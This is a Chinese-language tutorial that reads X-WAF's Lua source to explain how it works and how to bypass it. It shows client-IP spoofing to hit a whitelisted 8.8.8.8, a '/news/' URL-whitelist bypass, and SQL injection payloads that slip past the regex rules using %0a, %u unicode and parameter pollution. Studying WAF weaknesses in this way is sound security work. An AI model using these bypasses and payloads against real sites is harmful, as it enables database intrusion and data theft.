分析绕过一款适合练手的云WAF

X-WAF是一款使用中、小企业的云WAF系统，让中、小企业也可以非常方便地拥有自己的免费云WAF。

本文从代码出发，一步步理解WAF的工作原理，多姿势进行WAF Bypass。

0x01 环境搭建

官网：

https://waf.xsec.io>

github 源码：

https://github.com/xsec-lab/x-waf

X-WAF 下载安装后，设置反向代理访问构造的 SQL 注入点

0x02 代码分析

首先看一下整体的目录结构，nginx_conf目录为参考配置(可删除),rules目录存放过滤规则，init.lua加载规则，access.lua程序启动，config.lua配置文件

主要逻辑实现全部在util.lua和waf.lua文件。

代码逻辑很简单，先熟悉一下检测流程，程序入口在waf.lua第262-274行中:

-- waf startfunction _M.check() if _M.white_ip_check() thenelseif _M.black_ip_check() thenelseif _M.user_agent_attack_check() thenelseif _M.white_url_check() thenelseif _M.url_attack_check() thenelseif _M.cc_attack_check() then    elseif _M.cookie_attack_check() thenelseif _M.url_args_attack_check() thenelseif _M.post_attack_check() thenelsereturnend`

这个一个多条件判断语句，一旦满足前面的条件就不再进行后面的检测。

白名单

首先判断 IP 白名单，我们来看一下 white_ip_check() 函数，同文件下的第 50-64 行：

-- white ip checkfunction _M.white_ip_check()if config.config_white_ip_check == "on" thenlocal IP_WHITE_RULE = _M.get_rule('whiteip.rule')local WHITE_IP = util.get_client_ip()if IP_WHITE_RULE ~= nil thenfor _, rule in pairs(IP_WHITE_RULE) doif rule ~= "" and rulematch(WHITE_IP, rule, "jo") thenutil.log_record(config.config_log_dir, 'White_IP', ngx.var_request_uri, "_", "_")return trueendendendend

默认配置IP白名单是开启状态，读取IP白名单规则与获取的客户端IP进行对比，我们再来跟进看一下get_client_ip()函数，在util.lua文件中，第83-96行:

-- Get the client IPfunction _M.get_client_ip()local CLIENT_IP = ngx.req.get_headers()["X_real_ip"]if CLIENT_IP == nil thenCLIENT_IP = ngx.req.get_headers()["X_Forwarded_For"]endif CLIENT_IP == nil thenCLIENT_IP = ngx.var.remote_addrendif CLIENT_IP == nil thenCLIENT_IP = ""endreturn CLIENT_IP
end

在这段获取客户端IP的代码中，后去的X_real_ip、X_Forwarded_For使用可控的，存在客户端IP地址可伪造的风险。最后再来看一下，rules目录中whiteip.rule的默认配置:

[{"Id": 74, "RuleType": "whiteip", "RuleItem": "8.8.8.8"}]

IP白名单规则默认IP: 8.8.8.8为白名单

因此我们可以通过构造HTTP请求Header实现伪造IP来源为8.8.8.8,从而绕过x-waf的所有安全防御。

Bypass 测试

先来一张拦截效果图

伪造客户端 IP 绕过：

另外有趣的是，在blackip.rule里面，把8.8.8.8放置在黑名单里面，但这并没有什么用，IP白名单已经跳出多条件判断，不会再进行IP黑名单检测。CC攻击的防御也主要是从客户端获取IP，也可以伪造客户端IP轻易绕过限制。

[{"Id": 2, "RuleType": "blackip","RuleItem": "8.8.8.8"},{"Id": 3, "RuleType": "blackip","RuleItem": "1.1.1.1"}
]

同样来看一下url白名单white_url_check()函数:

function _M.white_url_check()if config.config_white_url_check == "on" thenlocal URL_WHITE_RULES = _M.get_rule('writeurl.rule')local REQ_URI = ngx.var.request_uriif URL_WHITE_RULES ~= nil thenfor _, rule in paires(URL_WHITE_RULES) doif rule ~= "" and rulematch(REQ_URI, rule, "joi") thenreturn trueendendendend
end

添加了一下URL白名单功能，感觉无效，对比了一下rules文件，可以发现加载的rule文件名不一致。

这里应该是作者的一个笔误，writeurl.rule和whiteUrl.rule。

默认url白名单配置:

[{"Id": 73,"RuleType": "whiteUrl","RuleItem": "/news/"}
]

另外，这里使用ngx.re.find进行ngx.var.request_uri和rule匹配，只要url中存在/news/,就不进行检测，绕过安全防御规则。比如:/test/sql,php/news/?id=1、/test/sql,php?id=1&b=/news/等形式可绕过。

正则匹配

接下来，我们主要来看一下M.url_args_attack_check():

-- deny url argsfunction _M.url_args_attack_check()if config.config_url_args_check == "on" thenlocal ARGS_RULES = _M.get_rule('args.rule')for _, rule in pairs(ARGS_RULES) dolocal REQ_ARGS = ngx.req.get_uri_args()for key, val in pairs(REQ_ARGS) dolocal ARGS_DATA = {}if type(val) == 'table' thenARGS_DATA = table.concat(val, " ")elseARGS_DATA = valendif ARGS_DATA and type(ARGS_DATA) ~= "boolean" and rule ~= "" and rulematch(unescape(ARGS_DATA), rule, "joi") thenutil.log_record(config.config_log_dirc, 'Get_Attack', ngx.var.request_uri, "-", rule)if config.config_waf_enable == "on" thenutil.waf_output()return trueendendendendendreturn false
end

M.post_attack_check():

-- deny postfunction _M.post_attack_check()if config.config_post_check == "on" thenngx.req.read_body()local POST_RULES = _M.get_rule('post.rule')for _, rule in pairs(POST_RULES) dolocal POST_ARGS = ngx.req.get_post_args() or {}for k, v in pairs(POST_ARGS) dolocal post_data = ""if type(v) == "table" thenpost_data = table.concat(v, ", ")elseif type(v) == "boolean" thenpost_data = kelsepost_data = vendif rule ~= "" and rulematch(post_data, rule, "joi") thenutil.log_record(config.config_log_dir, 'Post_Attack', post_data, "-", rule)if config.config_waf_enable == "on" thenutil.waf_output()return trueendendendendendreturn false
end

两段函数在一定程度上是类似的，使用ngx.req.get_uri_args、ngx.req.get_post_args获取数据来源，前者来自uri请求参数，而后者来自post请求内容，并未对数据进行特殊处理，然后都使用rulematch(data, rule, "joi") 来进行匹配。

rule中比较关键SQL注入防御规则如下:

`select.+(from|limit)

(?:(union(.*?)select))

(?:form\W+information_schema\W)`

绕过姿势一：%0a

由于使用的是joi来修饰，我们可以用%0a来进行绕过。

/sql.php?id=1 union%0aselect

1, schema_name, 3%0afrom

/*!12345information_schema.schemata*/

绕过姿势二：%u 特性

主要利用 IIS 服务器支持 unicode 的解析

/sql.aspx?id=1    union   selec%u0054
null,table_name,null fro%u004d
information_schema.tables

绕过姿势三：HPP+GPC

使用 GPC 三种方式可以进行参数传递,利用 apsx 特性，将获取到参数拼接起来，可成功 Bypass

/sql.aspx?id=1 union/*

POST:Id=2*/select null,system_user,null

0x03 总结

这是一款适合用来进行 WAF Bypass 练手的云 WAF，通过代码层面熟悉 WAF 的工作原理，进一步理解和应用各种服务器特性、数据库特性来进行尝试 Bypass，期待与你来交流更多姿势。